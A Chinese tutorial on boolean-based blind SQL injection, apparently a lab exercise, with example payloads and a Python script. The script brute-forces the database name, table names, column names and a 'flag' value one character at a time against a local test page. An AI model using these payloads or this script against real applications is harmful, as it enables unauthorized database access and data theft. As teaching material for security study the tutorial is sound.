布尔盲注步骤

使用场景:

在没有数据回显 的情况下,是不显示具体内容,但会显示有结果或没结果的一种二分的方式(例如:显示用户名或密码错误)

通常逐个爆破猜解,效率偏低

思路:利用回显的不同,推测sql语句执行的结果是true还是false

在and后的判断条件稍作更改

例: select * from users where id='1' and (select length(database())=1)#

过程:

获取数据库名的具体信息:

复制代码
left(a,b)从左侧截取 a 的前 b 位:left(select database(),1)>'s'

substr(a,b,c)从b位置开始,截取字符串a的c长度

mid(a,b,c)从位置b开始,截取a字符串的c位

ascii()将某个字符转换为ascii值:ascii(substr(user),1,1))=101"#

脚本

python 复制代码
import requests
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select database()),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select group_concat(column_name) from information_schema.columns where table_name='answer'),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(group_concat(flag) from answer),%s,1))=%d--+"
result = ""

for i in range(1,100):
    for j in range(33,127):
        payload = url%(i,j)
        s = requests.get(url=payload)
        if "查询" in s.text:
            result += chr(j)
            print(result)
            break
print(result)

**
i代表依次从1-100位,遍历所得结果字符串的第i位
j从33-127包含了ascii中所有可见字符,代表逐个比对判断第n个字符是哪个字符
url%(i,j)其中%代表将()中的字符替换到url表达式的占位符中
requests.get 使用requests库中的get方法,发送get请求到url中
chr()函数将ascii码字符转换成字符串
相关推荐
A1016933071几秒前
Nginx与frp结合实现局域网和公网的双重https服务
数据库·nginx·https
happymaker06263 分钟前
JDBC(MySQL)——DAY03(Blob类型,批处理,连接池)
数据库·mysql
Dovis(誓平步青云)5 分钟前
《MySQL查询进阶:复合逻辑与多表关联的实战心法》
数据库·mysql
June`8 分钟前
mini-redis项目之Resp协议
数据库·redis
lhbian8 分钟前
redis分页查询
数据库·redis·缓存
顶点多余13 分钟前
Mysql 基本查询详解
数据库·mysql
X-⃢_⃢-X17 分钟前
八、Redis之BigKey
数据库·redis·缓存
~莫子20 分钟前
Redis
数据库·redis·缓存
历程里程碑24 分钟前
36 Linux线程池实战:日志与策略模式解析
开发语言·数据结构·数据库·c++·算法·leetcode·哈希算法
颜颜yan_26 分钟前
从千毫秒到亚毫秒:连接条件下推如何让复杂 SQL 飞起来
数据库·sql